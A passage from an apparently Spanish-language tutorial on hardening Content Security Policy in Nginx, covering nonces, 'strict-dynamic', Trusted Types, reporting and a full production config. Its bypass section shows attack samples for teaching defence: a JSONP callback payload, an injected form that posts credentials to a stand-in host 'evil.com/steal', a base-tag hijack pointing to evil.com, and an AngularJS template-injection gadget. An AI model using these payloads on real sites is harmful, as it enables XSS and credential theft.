El `$request_id` de Nginx proporciona:

- **128 bits** de entropía (32 caracteres hexadecimales)
- **Único por petición** — generado de nuevo cada vez
- **Impredecible** — derivado de la aleatoriedad del sistema

Esto supera la entropía mínima recomendada por CSP para nonces.

### Lo que el navegador ve

**Opción 1/3 — 1. En disco**

```html
<!-- Static file on disk -->
<script nonce="CSP_NONCE_NGINX">
  const theme = localStorage.getItem('theme');
</script>
```

**Opción 2/3 — 2. Cabecera HTTP**

```http
HTTP/2 200 OK
Content-Security-Policy: script-src 'nonce-a1b2c3d4e5f6...' ...
```

**Opción 3/3 — 3. HTML recibido**

```html
<!-- What browser actually receives -->
<script nonce="a1b2c3d4e5f6...">
  const theme = localStorage.getItem('theme');
</script>
```

---

## Modo estricto con `'strict-dynamic'`

La keyword `'strict-dynamic'` es revolucionaria: permite que los scripts cargados por scripts de confianza también se ejecuten, sin necesitar sus propios nonces.

**Propagación de confianza con strict-dynamic**

```mermaid
flowchart TB
    subgraph CSP["Política CSP"]
        direction TB
        N["Nonce en cabecera<br/>'nonce-abc123'"]:::nonce
    end
    
    subgraph Trusted["Cadena de confianza (Permitido)"]
        direction LR
        A["Script con<br/>nonce=abc123"]:::cspTrusted
        B["createElement('script')<br/>(sin nonce necesario)"]:::cspTrusted
        C["Librería cargada<br/>dinámicamente"]:::cspTrusted
        A -->|"Crea"| B
        B -->|"Carga"| C
    end
    
    subgraph Blocked["Sin confianza (Bloqueado)"]
        direction LR
        D["Script XSS\ninyectado"]:::attacker
        E["Event handler\nonclick=..."]:::attacker
    end
    
    N -->|"Valida"| A
    D -->|"Sin coincidencia"| X["Bloqueado"]:::cspBlocked
    E -->|"Sin coincidencia"| X
```

### Cómo funciona

**Ejemplo de propagación de confianza**

```html
<!-- This script has a valid nonce -->
<script nonce="abc123">
  // This dynamically created script ALSO runs
  // because it inherits trust from the parent
  const script = document.createElement('script');
  script.src = 'https://cdn.example.com/analytics.js';
  document.head.appendChild(script);
</script>
```

**Advertencia**

**Comportamiento importante:** cuando `'strict-dynamic'` está presente, las fuentes de tipo allowlist como `'self'` o `https://example.com` se **ignoran** para la carga de scripts. Solo los nonces/hashes otorgan confianza inicial — los scripts cargados dinámicamente la heredan.

Esto es intencionado y en realidad aumenta la seguridad.

### Cuándo usar `'strict-dynamic'`

**Casos de uso de strict-dynamic**

| Escenario | ¿Usar strict-dynamic? | Razón |
| --- | --- | --- |
| SPA con code splitting | **Sí** [bien] | Webpack/Vite cargan chunks dinámicamente |
| Analytics (GA, Segment) | **Sí** [bien] | Los scripts de analytics suelen cargar scripts adicionales |
| Widgets de terceros | **Sí** [bien] | Los widgets de chat y embeds cargan sus propias dependencias |
| Sitio estático simple | Opcional [cuidado] | Si todos los scripts están en el HTML, los nonces por sí solos son suficientes |
| Sin JavaScript | No [mal] | Usa `script-src 'none'` en su lugar |

---

## La fórmula de CSP estricta

Según la [investigación de Google](https://web.dev/articles/strict-csp), una "CSP estricta" que realmente proteja contra XSS requiere estos elementos:

**Requisitos de CSP estricta**

- Usa **nonces** o **hashes** en lugar de allowlists de dominios
- Incluye **`'strict-dynamic'`** para la carga dinámica de scripts
- Establece **`object-src 'none'`** para bloquear plugins
- Establece **`base-uri 'none'`** para prevenir la inyección de etiquetas base

**Información**

**Compatibilidad de navegadores:** `strict-dynamic` es totalmente compatible con todos los navegadores modernos (Chrome 52+, Firefox 52+, Safari 15.4+, Edge 79+).

### La plantilla

**Plantilla de CSP estricta**

```nginx
# The three essential directives for strict CSP
script-src 'nonce-$cspNonce' 'strict-dynamic';
object-src 'none';
base-uri 'none';
```

### Por qué las allowlists no funcionan

**Advertencia**

**El 94,72 % de las CSP basadas en allowlists se pueden eludir** ([Investigación de Google, 2016](https://research.google/pubs/csp-is-dead-long-live-csp-on-the-insecurity-of-whitelists-and-the-future-of-content-security-policy/))

El análisis de los 15 dominios más comúnmente incluidos en allowlists reveló que **14 de ellos** contienen endpoints inseguros que los atacantes pueden explotar.

Los vectores de bypass más comunes incluyen:

- **Endpoints JSONP** en CDNs de confianza
- **Redirecciones abiertas** en dominios permitidos
- **Inyección de plantillas de AngularJS** en orígenes permitidos
- **Contenido subido por usuarios** servido desde dominios permitidos

---

## Interactivo: Construye tu CSP

Usa el [constructor de políticas CSP](/es/tools/csp-builder/) interactivo para crear una política directiva a directiva y ver su puntuación de seguridad en tiempo real: marca las fuentes inseguras y genera por ti la línea `add_header` de Nginx correspondiente.

---

## Técnicas de bypass de CSP y prevención

Entender cómo los atacantes eluden la CSP te ayuda a evitar errores comunes.

### 1. Endpoints JSONP

Los endpoints JSONP ejecutan callbacks controlados por el usuario, lo que los convierte en un vector de bypass clásico:

**Comparación: Vulnerable vs Protegido**

**Vulnerable**

```nginx
# CSP trusts all of cdn.example.com
script-src 'self' https://cdn.example.com;
```

```html
<!-- Attacker exploits JSONP endpoint -->
<script src="https://cdn.example.com/api?callback=alert(1)//"></script>
```

**Protegido**

```nginx
# Use nonces instead of domain allowlists
script-src 'nonce-$cspNonce' 'strict-dynamic';
```

```html
<!-- JSONP has no nonce - blocked! -->
<script src="https://cdn.example.com/api?callback=alert"></script>
<!-- Refused to execute script... -->
```

### 2. Secuestro de formularios

Los atacantes pueden inyectar formularios para robar credenciales si no se establece `form-action`:

**Ataque de secuestro de formularios**

```html
<!-- Attacker injects this before your login form -->
<form action="https://evil.com/steal">
  <!-- Your existing input fields get captured -->
</form>

<!-- Without form-action, the browser allows submission to evil.com! -->
```

**Prevención:**

```nginx
form-action 'self';
```

### 3. Inyección de etiqueta base

**Ataque con etiqueta base**

```html
<!-- Attacker injects this early in the document -->
<base href="https://evil.com/">

<!-- All your relative URLs now resolve to evil.com -->
<script src="/js/app.js"></script>  <!-- Loads https://evil.com/js/app.js -->
<img src="/images/logo.png">        <!-- Loads https://evil.com/images/logo.png -->
<a href="/login">Login</a>          <!-- Links to https://evil.com/login -->
```

**Prevención:**

```nginx
base-uri 'none';
```

### 4. Script gadgets en bibliotecas permitidas

Algunas bibliotecas importantes contienen patrones que pueden explotarse para XSS cuando dicha biblioteca está permitida por CSP:

Según la [investigación de Sebastian Lekies et al.](https://research.google/pubs/csp-is-dead-long-live-csp-on-the-insecurity-of-whitelists-and-the-future-of-content-security-policy/), las bibliotecas más comunes contienen patrones explotables:

**Script gadgets en bibliotecas populares**

| Biblioteca | Tipo de gadget | Vector de ataque | Riesgo |
| --- | --- | --- | --- |
| **AngularJS** (1.x) | Inyección de plantillas | `ng-app` + `{{constructor.constructor('alert(1)')()}}` | Crítico [mal] |
| **jQuery** (<3.0) | XSS basado en selectores | `$(location.hash)` con entrada del usuario | Alto [cuidado] |
| **Require.js** | Imports dinámicos | Rutas de módulos controladas por el atacante | Medio [cuidado] |
| **Dojo Toolkit** | Carga de módulos | `require()` con entrada del usuario | Medio [cuidado] |
| **Google Closure** | Sistema de plantillas | Renderizado inseguro de plantillas | Medio [cuidado] |

**Idea clave**

**El patrón es claro:** incluir CDNs que alojan estas bibliotecas en allowlists expone tu sitio a bypasses basados en gadgets. Los nonces + `strict-dynamic` previenen esto porque el atacante no puede adivinar el valor del nonce, independientemente de qué bibliotecas se carguen.

### 5. `object-src` ausente

Sin `object-src 'none'`, los atacantes pueden usar plugins para ejecutar código:

**XSS basado en objetos**

```html
<!-- Flash-based XSS (legacy but still seen) -->
<object data="data:application/x-shockwave-flash;base64,..." 
        type="application/x-shockwave-flash">
</object>

<!-- PDF with JavaScript -->
<embed src="malicious.pdf" type="application/pdf">
```

**Prevención:**

```nginx
object-src 'none';
```

---

## Trusted Types: La siguiente evolución

Mientras que la CSP tradicional previene la inyección de etiquetas `<script>`, no protege contra **XSS basado en DOM** donde JavaScript escribe directamente en sinks peligrosos:

**Vulnerabilidad de XSS basado en DOM**

```javascript
// These are dangerous DOM sinks
element.innerHTML = userInput;           // XSS if userInput contains HTML
location.href = userInput;               // Open redirect/XSS
document.write(userInput);               // XSS
eval(userInput);                         // Remote code execution
```

**Trusted Types** obliga a los desarrolladores a sanitizar los datos antes de pasarlos a estos sinks.

**Experimental — Trusted Types es experimental pero está madurando**

`Trusted Types` es experimental.

### Cómo funcionan los Trusted Types

**Trusted Types impone la sanitización en los sinks del DOM**

```mermaid
flowchart LR
    %% Without Trusted Types (top row)
    A1["Entrada del usuario"] --> B1["innerHTML"]:::danger --> C1["XSS ejecutado"]:::danger
    
    %% With Trusted Types (bottom row)  
    A2["Entrada del usuario"] --> D2["Política de\nsanitización"]:::cspTrusted --> E2["TrustedHTML"]:::cspTrusted --> B2["innerHTML"]:::success --> C2["Seguro"]:::success
```

### Activar Trusted Types

**Fichero: `nginx.conf` (CSP con Trusted Types)**

```nginx
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    style-src 'self' 'nonce-$cspNonce';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors 'none';
    form-action 'self';
    
    # Trusted Types enforcement
    require-trusted-types-for 'script';
    trusted-types default;
" always;
```

### Crear una política de Trusted Types

**Política de sanitización con Trusted Types**

```javascript
// Create a policy that sanitizes HTML
if (window.trustedTypes && trustedTypes.createPolicy) {
  const sanitizerPolicy = trustedTypes.createPolicy('default', {
    createHTML: (input) => {
      // Use DOMPurify or similar sanitizer
      return DOMPurify.sanitize(input);
    },
    createScriptURL: (input) => {
      // Only allow same-origin URLs
      const url = new URL(input, window.location.origin);
      if (url.origin !== window.location.origin) {
        throw new Error('Cross-origin scripts not allowed');
      }
      return url.href;
    }
  });
}

// Now innerHTML requires TrustedHTML
element.innerHTML = userInput;  // TypeError: requires TrustedHTML
element.innerHTML = sanitizerPolicy.createHTML(userInput);  // Works!
```

**Información**

**Consejo de adopción:** Empieza con `Content-Security-Policy-Report-Only` para Trusted Types para encontrar violaciones sin romper tu sitio:

```nginx
add_header Content-Security-Policy-Report-Only "require-trusted-types-for 'script'; report-uri /tt-reports";
```

---

## Avanzado: CSP por endpoint

Diferentes partes de tu sitio pueden necesitar políticas distintas:

- **Paneles de administración**: CSP más estricta
- **Endpoints de API**: No se necesita CSP (el JSON no se ejecuta)
- **Assets estáticos**: Relajada para previsualizaciones en redes sociales
- **Páginas con contenido generado por usuarios**: Restricciones adicionales

### Implementación

**Fichero: `/etc/nginx/sites-available/example.com`**

```nginx
server {
    listen 443 ssl;
    server_name example.com;
    
    # Default: strict CSP for HTML pages
    location / {
        try_files $uri $uri/ =404;
        include /etc/nginx/snippets/security-headers-strict.conf;
    }
    
    # API: no CSP needed for JSON
    location /api/ {
        proxy_pass http://backend;
        # No CSP header - JSON isn't executed by browsers
    }
    
    # Assets: relaxed for social media crawlers
    location /assets/ {
        expires 1y;
        add_header Cache-Control "public, immutable";
        include /etc/nginx/snippets/security-headers-assets.conf;
    }
}
```

**Opción 1/2 — Estricta (páginas HTML)**

```nginx
# /etc/nginx/snippets/security-headers-strict.conf
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    ...
" always;

# Prevent embedding
add_header Cross-Origin-Resource-Policy "same-origin" always;
```

**Opción 2/2 — Relajada (Assets)**

```nginx
# /etc/nginx/snippets/security-headers-assets.conf
add_header Content-Security-Policy "
    default-src 'none';
    img-src 'self';
    font-src 'self';
" always;

# Allow social media to fetch images for previews
add_header Cross-Origin-Resource-Policy "cross-origin" always;
```

---

## Migración: de Report-Only a aplicación

**Nunca despliegues una CSP estricta directamente en producción.** Utiliza un enfoque por fases:

**Proceso seguro de migración de CSP**

1. **Desplegar en modo report-only (1-2 semanas)**

   Usa `Content-Security-Policy-Report-Only` para registrar violaciones sin bloquear nada. Monitoriza tus logs para entender qué se rompería.

2. **Analizar y corregir violaciones**

   Revisa los informes y soluciona los problemas:

   - Inline event handlers → `addEventListener()`
   - Llamadas a `eval()` → `JSON.parse()` o refactorización
   - Nonces faltantes en scripts inline
   - Scripts de terceros que necesitan `strict-dynamic`

3. **Activar la aplicación gradualmente**

   Cambia de `Report-Only` a `Content-Security-Policy`. Mantén una cabecera report-only para probar futuras políticas más estrictas.

### Fase 1: Report-Only

**Modo report-only**

```nginx
# Logs violations but doesn't block anything
add_header Content-Security-Policy-Report-Only "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    style-src 'self' 'nonce-$cspNonce';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors 'none';
    form-action 'self';
    upgrade-insecure-requests;
    report-uri /csp-report;
" always;
```

### Fase 2: Corregir problemas comunes

**Problemas comunes a corregir**

- **Advertencia** — **Inline event handlers** → Convertir `onclick="..."` a `addEventListener()`
- **Advertencia** — **Uso de `eval()`** → Reemplazar con `JSON.parse()` o refactorizar
- **Advertencia** — **Nonces faltantes** → Añadir `nonce="CSP_NONCE_NGINX"` a los scripts inline
- **Advertencia** — **Scripts de terceros** → Verificar que `'strict-dynamic'` los cubre
- **Advertencia** — **Estilos inline en JS** → Usar clases CSS o CSS custom properties

### Fase 3: Aplicar

**Modo de aplicación**

```nginx
# Now blocking violations
add_header Content-Security-Policy "..." always;

# Optional: keep report-only for testing stricter future policies
add_header Content-Security-Policy-Report-Only "...even-stricter-policy..." always;
```

---

## Configurar el reporting de CSP

El reporting integrado de CSP te informa cuando se producen violaciones — es esencial para la depuración y la detección de ataques.

**Obsoleto — report-uri está obsoleto**

`report-uri` está obsoleto.

Usar en su lugar: [`report-to`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-to)

**Información**

**Para máxima compatibilidad, usa ambos:** Chrome 70+ utiliza `report-to` e ignora `report-uri`. Firefox y Safari aún dependen de `report-uri`.

### Opción 1: Logging simple con Nginx

**Fichero: `/etc/nginx/sites-available/example.com`**

```nginx
# Reporting endpoint
location /csp-report {
    access_log /var/log/nginx/csp-report.log;
    return 204;
}
```

**Cabecera CSP con reporting**

```nginx
# Modern Reporting API (Chrome 70+)
add_header Reporting-Endpoints 'csp-endpoint="/csp-report"' always;

# CSP with both legacy and modern reporting
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    ...
    report-uri /csp-report;
    report-to csp-endpoint;
" always;
```

### Opción 2: Servicios de terceros

Servicios como [Report URI](https://report-uri.com/) proporcionan dashboards y análisis:

**Reporting con servicio externo**

```nginx
report-uri https://your-subdomain.report-uri.com/r/d/csp/enforce;
report-to csp-endpoint;
```

### Formato del informe de violación

Los navegadores envían informes JSON como este:

**Fichero: `csp-violation-report.json`**

```json
{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "blocked-uri": "https://evil.com/script.js",
    "violated-directive": "script-src-elem",
    "effective-directive": "script-src-elem",
    "original-policy": "script-src 'nonce-abc123' 'strict-dynamic'",
    "disposition": "enforce",
    "status-code": 200,
    "script-sample": "",
    "line-number": 42,
    "column-number": 15,
    "source-file": "https://example.com/page"
  }
}
```

---

## Refactorizar código para CSP

Algunos patrones comunes son incompatibles con una CSP estricta. Así es como se corrigen:

### Inline event handlers → addEventListener

**Comparación: Bloqueado por CSP vs Compatible con CSP**

**Bloqueado por CSP**

```html
<button onclick="submitForm()">Submit</button>
<a href="javascript:doSomething()">Click</a>
<form onsubmit="validate()">...</form>
```

**Compatible con CSP**

```html
<button id="submitBtn">Submit</button>
<a href="#" id="actionLink">Click</a>
<form id="myForm">...</form>

<script nonce="CSP_NONCE_NGINX">
  document.getElementById('submitBtn')
    .addEventListener('click', submitForm);
  
  document.getElementById('actionLink')
    .addEventListener('click', (e) => {
      e.preventDefault();
      doSomething();
    });
  
  document.getElementById('myForm')
    .addEventListener('submit', validate);
</script>
```

### eval() → JSON.parse()

**Comparación: Usa eval() - Bloqueado vs Usa JSON.parse() - Permitido**

**Usa eval() - Bloqueado**

```javascript
// Dangerous - blocked by CSP
const data = eval('(' + jsonString + ')');
setTimeout('doSomething()', 1000);
const fn = new Function('x', 'return x * 2');
```

**Usa JSON.parse() - Permitido**

```javascript
// Safe - works with strict CSP
const data = JSON.parse(jsonString);
setTimeout(doSomething, 1000);
const fn = (x) => x * 2;
```

### Estilos inline en JS → CSS custom properties

**Comparación: Usando setAttribute (puede ser bloqueado) vs CSS Custom Properties**

**Usando setAttribute (puede ser bloqueado)**

```javascript
// setAttribute('style', ...) can be blocked by style-src
element.setAttribute('style', 'color:' + color);
// Note: element.style.property = value is NOT blocked by CSP,
// but using CSS custom properties is more maintainable
```

**CSS Custom Properties**

```javascript
// Works with strict CSP and is more maintainable
element.style.setProperty('--user-color', userColor);
element.classList.add('highlighted');
```

```css
.highlighted {
  background: var(--user-color, #fff);
}
```

---

## Pruebas y validación

### Herramientas de desarrollo del navegador

Tu mejor aliado para depurar CSP. Abre F12 → Consola para ver las violaciones en tiempo real:

**Salida — Violación de CSP en la consola de Chrome**

```text
Refused to execute inline script because it violates the following Content 
Security Policy directive: "script-src 'nonce-abc123' 'strict-dynamic'". 
Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce 
('nonce-...') is required to enable inline execution.
```

### Herramientas online

**Herramientas de prueba de CSP**

| Herramienta | Propósito |
| --- | --- |
| [**Mozilla Observatory**](https://developer.mozilla.org/en-US/observatory) | Evaluación completa de cabeceras de seguridad (A+ posible) |
| [**Google CSP Evaluator**](https://csp-evaluator.withgoogle.com/) | Encuentra bypasses lógicos en tu política (muy recomendado) |
| [**SecurityHeaders.com**](https://securityheaders.com/) | Análisis rápido de cabeceras y puntuación |
| [**CSP Hash Generator**](https://report-uri.com/tools/csp-hash-generator) | Genera hashes para scripts inline |

---

## Errores comunes

### 1. Usar `'unsafe-inline'` para scripts

**Comparación: Anula la protección de CSP vs Usa nonces en su lugar**

**Anula la protección de CSP**

```nginx
# Your CSP is now useless for XSS protection
script-src 'self' 'unsafe-inline';
```

**Usa nonces en su lugar**

```nginx
# Actual protection
script-src 'self' 'nonce-$cspNonce';
```

### 2. Fuentes excesivamente permisivas

**NO HAGAS ESTO: Confiar en esquemas completos**

```nginx
# DANGER: Trusts the entire internet!
script-src 'self' https:;
img-src *;
```

Esto permite que cualquier script HTTPS se ejecute, anulando completamente el propósito de CSP.

### 3. Olvidar directivas obligatorias

**Comparación: Incompleta - Eludible vs CSP estricta completa**

**Incompleta - Eludible**

```nginx
# Missing critical directives!
script-src 'nonce-$cspNonce';
```

**CSP estricta completa**

```nginx
# All required directives present
script-src 'nonce-$cspNonce' 'strict-dynamic';
object-src 'none';
base-uri 'none';
```

### 4. Olvidar `always` en Nginx

**Comparación: Solo respuestas 2xx vs Todas las respuestas incluidas las de error**

**Solo respuestas 2xx**

```nginx
# CSP missing on 404, 500 pages!
add_header Content-Security-Policy "...";
```

**Todas las respuestas incluidas las de error**

```nginx
# CSP on ALL responses
add_header Content-Security-Policy "..." always;
```

Sin `always`, las cabeceras CSP no se envían en páginas de error (404, 500), dejando esas páginas vulnerables.

### 5. Trampa de herencia de `add_header`

**Las cabeceras se sobrescriben en locations anidados**

```nginx
location / {
    add_header Content-Security-Policy "..." always;
    add_header X-Frame-Options "DENY" always;
}

location /assets/ {
    # WARNING: This REPLACES parent headers, not adds to them!
    add_header Cache-Control "public, immutable" always;
    # CSP and X-Frame-Options are now MISSING here!
}
```

**Solución:** Usa snippets con `include` para compartir cabeceras entre locations.

---

## Ejemplo completo de producción

**Fichero: `/etc/nginx/sites-available/example.com`**

```nginx
server {
    listen 443 ssl;
    listen [::]:443 ssl;
    http2 on;
    server_name example.com;
    
    root /var/www/example.com;
    index index.html;
    
    # ================================================
    # CSP Nonce Setup
    # ================================================
    set $cspNonce $request_id;
    sub_filter_once off;
    sub_filter_types text/html text/css application/javascript;
    sub_filter CSP_NONCE_NGINX $cspNonce;
    
    # ================================================
    # Build CSP Header
    # ================================================
    set $csp "default-src 'none'; ";
    set $csp "${csp}script-src 'self' 'nonce-${cspNonce}' 'strict-dynamic'; ";
    set $csp "${csp}style-src 'self' 'nonce-${cspNonce}'; ";
    set $csp "${csp}img-src 'self' data:; ";
    set $csp "${csp}font-src 'self'; ";
    set $csp "${csp}connect-src 'self'; ";
    set $csp "${csp}worker-src 'self'; ";
    set $csp "${csp}object-src 'none'; ";
    set $csp "${csp}base-uri 'none'; ";
    set $csp "${csp}frame-ancestors 'none'; ";
    set $csp "${csp}form-action 'self'; ";
    set $csp "${csp}upgrade-insecure-requests; ";
    set $csp "${csp}report-uri /csp-report; ";
    set $csp "${csp}report-to csp-endpoint";
    
    # ================================================
    # Security Headers
    # ================================================
    add_header Reporting-Endpoints 'csp-endpoint="/csp-report"' always;
    add_header Content-Security-Policy $csp always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
    add_header Cross-Origin-Opener-Policy "same-origin" always;
    # Note: require-corp is strict - external resources (fonts, CDNs) must provide
    # CORP/CORS headers. Use "credentialless" for broader compatibility.
    add_header Cross-Origin-Embedder-Policy "require-corp" always;
    add_header Cross-Origin-Resource-Policy "same-origin" always;
    
    # ================================================
    # Routes
    # ================================================
    location / {
        try_files $uri $uri/ =404;
    }
    
    # CSP Violation Reporting Endpoint
    location /csp-report {
        access_log /var/log/nginx/csp-report.log;
        return 204;
    }
    
    # Static assets with relaxed CORP for social media
    # Note: add_header in location blocks overrides parent-level headers,
    # so we must re-include essential security headers here
    location /assets/ {
        expires 1y;
        add_header Cache-Control "public, immutable" always;
        add_header Cross-Origin-Resource-Policy "cross-origin" always;
        # Re-include essential security headers
        add_header X-Content-Type-Options "nosniff" always;
        add_header Referrer-Policy "strict-origin-when-cross-origin" always;
        add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    }
}
```

---

## Tu camino con CSP: Resumen

**Hoja de ruta para implementar CSP**

1. **Empieza simple** — Despliega `default-src 'self'` en modo report-only

2. **Añade directivas progresivamente** — Scripts, estilos, imágenes, etc.

3. **Gestiona los scripts inline** — Muévelos a archivos, usa hashes o implementa nonces

4. **Para sitios estáticos** — Usa `sub_filter` de Nginx para inyección de nonces

5. **Aplica la CSP estricta** — Añade `'strict-dynamic'`, `object-src 'none'`, `base-uri 'none'`

6. **Configura el reporting** — Monitoriza las violaciones con `report-uri` / `report-to`

7. **Aplica gradualmente** — Cambia de report-only a aplicación tras las pruebas

8. **Mantén e itera** — Sigue monitorizando, actualiza según evolucione tu aplicación

**Correcto**

**Resultado:** Esta es exactamente la configuración que corre en producción en este sitio — una calificación A+ con puntuación 140 y los 10 tests pasados en [Mozilla Observatory](https://developer.mozilla.org/en-US/observatory), con la funcionalidad completa del sitio intacta y los usuarios protegidos de ataques XSS.

